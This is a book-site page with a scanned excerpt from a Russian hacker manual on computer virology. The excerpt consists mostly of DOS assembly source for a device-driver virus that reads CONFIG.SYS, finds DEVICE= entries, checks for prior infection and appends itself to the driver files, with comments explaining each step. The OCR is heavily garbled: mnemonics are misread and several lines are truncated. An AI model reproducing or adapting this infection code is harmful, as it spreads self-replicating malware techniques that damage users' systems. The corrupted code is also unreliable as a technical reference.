Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 93 94 95 96 97 98 < 99 > 100 101 102 103 104 105 .. 123 >> Следующая

les di, [RHPTR] ;es:di указывает на заголовок запроса mov al.es: [di+2]
;получаем номер команды
or al.al ;номер команды 0? (инициализация устройства) jnz INTR1 ;
нет, управляют другие команды
call INIT ;да, инициализировать устройство
jmp INTRX ;и выйти из подпрограммы INTR
INTR1: call NOTJMPLEMENTED ;все другие команды не выполняются INTRX: pop
es pop ds pop di pop si pop bx retf
Подпрограмма инициализации устройства, функция 0. Она просто изображает
HELLO_MSGK) используя BIOS-видео, и затем осуществляет выход.
INIT: mov si.OFFSET HELLO_MSG INITLP:
lodsb or al,al jz INITX mov ah.OEH int 10h jmp INITLP
INITX: mov WORD PTR es: [di+14],OFFSET END_DRIVER mov WORD PTR es:
[di+16],cs ;здесь указан конец драйвера хог ах,ах ;ах=0 указывает на
успех и выход
ret
HELLO_MSG DB You Ve just released the DEVICE VIRUS!',ODH,OAH,7,0 ; "Вы
только что заразились вирусом DEVICE!"
408
ГЛАВА 8. Инфицирование драйверов устройств
Эта подпрограмма используется для невыполняемых функций:
NOTJMPLEMENTED:
хог ах.ах ;ах=0 указывает на успех и выход ret
ENDDRIVER: ;метка для конца драйвера устройства
Этот код является вирусом драйвера устройства. Он открывает CONFIG.SYS и
сканирует его на выражения DEVICE- . Он берет имя после каждого выражения
DEVICE- и пытается инфицировать данный файл. Когда все сделано, он
передает контроль назад подпрограмме STRAT, с которой он начинает свои
действия. Вирус сохраняет все регистры.
VIRUS:
push ах push bx push cx push dx push si push di push bp push ds push es
push cs pop ds push cs pop es
call VIRUS.ADDR VIRUS.ADDR: pop di
4ЛП
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
sub di, OFFSET VIRUS.ADDR
mov ax,3D00H ;открывает CONFIG.SYS в режиме чтения lea dx,
[di+OFFSETCSYS] int 21H mov bx.ax
CSL: call READ_UNE ;читаем одну строку из CONFIG.SYS jc CCS выполнено?
Если да, закрываем CONFIG.SYS call IS_DEVICE проверяем выражение
устройства jnz CSL ;нет, занимаемся другой строкой call INFECT_FILE ;да,
инфицируем файл, если это требуется jmp CSL
CCS: mov ah,3EH .закрываем файл CONFIG.SYS int 21 h
V1REX: mo/ ax, [ci+STRJMP] ;вытаски8аем вирус из петли STRATI mov WORD
PTR [STRTNj.ax pop es pop ds pop bp pop di pop si pop dx pop cx pop bx
pop ax
jmp cs: [STRTN] ;и переходим к подпрограмме STRAT
Эта подпрограмма читает одну строку из текстового файла, чей индекс
указан в Ьх, и помещает прочитанные данные в LINEB-UF в виде строки
asciiz. Она используется для чтения файла CONFIG.SYS.
410
ГЛАВА 8. Инфицирование драйверов устройств
READ LINE:
RLL:
lea dx, [di
mov cx,1 ;<
mov ah,3FH
int 21h
or al.al
jz RLRC
mov si,dx
inc dx
cmp BYTE PTR [si],0DH ;конец строки (возврат каретки)? jn2 RLL
mov BYTE PTR [si],0 ;ноль прерывает строку
mov cx,1 ;читаем полученную строку
mov ah,3FH int 21 h or al.al jnz RLR RLRC: stc RLR: ret
Эта подпрограмма проверяет строку в LINEBUF на наличие выражения DEVICE-
. Если выражение найдено, она возвращается с установленным z и помещает
имя драйвера устройства как строку asciiz в буфер LINEBUF.
IS_DEVICE:
lea si, [di+OFFSET LINEBUF] ;ищем "DEVICE=" lodsw ; получаем 2
байта
or ax,2020H cmp ax.'ed' jnz IDR lodsw
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
or ах,2020Н cmp ax.'iv* jnz IDR lodsw
or ax,2020H cmp ax.'ec' jnz IDR
ID1: lodsb ;OK, мы нашли "DEVICE" в строке
cmp al,' ' устраняем пустые пробелы перед '='
jz ID1
cmp al,*- ;нет пробела, это '='?
jnz IDR ;нет, просто выход
ID2: lodsb ;убираем пробелы после =
cmp al,"
jz ID2 ;петля, пока все не кончится
dec si ;подстраиваем указатель
mov bp.di
lea di, [di+OFFSET UNEBUF] ;OK, это устройство
IDL: lodsb ;переносим имя файла в UNEBUF
cmp al,20H ;превращаем пробел в ноль jnz ID3 xor al.al ЮЗ: stosb
or al.al jnz IDL mov di.bp
IDR: ret ;вернуться с правильно установленными флагами
Эта подпрограмма проверяет SYS-файл, указанный в буфере LINEBUF, и
смотрит, заражен ли он. Если да, то не инфицирует.
ГЛАВА 8. Инфицирование драйверов устройств
INFECTJ=ILE: push bx
lea dx, [di+OFFSET UNEBUF] открываем файл в UNEBUF mov ax,3D02H int 21 h
mov bx.ax
mov ah,3FH ;читаем первые 10 байтов драйвера устройства lea dx,
[di+OFFSET FILEBUF] ;bFILEBUF mov cx,10 int 21 h
cmp [di+OFFSET FILEBUF],TM*:проверка драйвера на ЕХЕ-тип je IFCLOSE ;не
инфицируем их вообще movdx,W0RD PTR [dr+OFFSET RLEBUF+6] ;получаем офсет
STRAT
xor cx.cx
mov ax,4200H перемещаем его в файл
int 21h
mov cx, 10 ;читаем 10 байтов подпрограммы STRAT
mov ah,3FH
lea dx, [di+OFFSET FILEBUF+10]
int 21h
mov bp.di
mov si.di
add si.OFFSET RLEBUF+10 ;файл заражен?
add di,OFFSET VIRUS сравниваем 10 байтов STRAT
mov cx,10 ;с вирусом
repz cmpsb ;смотрим, они одинаковы?
mov di.bp
jz IFCLOSE ;если заражен, то выход
mov ax,4202H ;ищем конец файла
xor cx.cx
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
хог dx.dx int 21 h
push ax сохраняем адрес конца файла
mov ах, [di+OFFSET STRJMP] -.сохраняем текущую STRJMP
push ах
mov ах,WORD PTR [di+OFFSET FILEBUF+6];устанавливаем STRJMP ;на новую
Предыдущая << 1 .. 93 94 95 96 97 98 < 99 > 100 101 102 103 104 105 .. 123 >> Следующая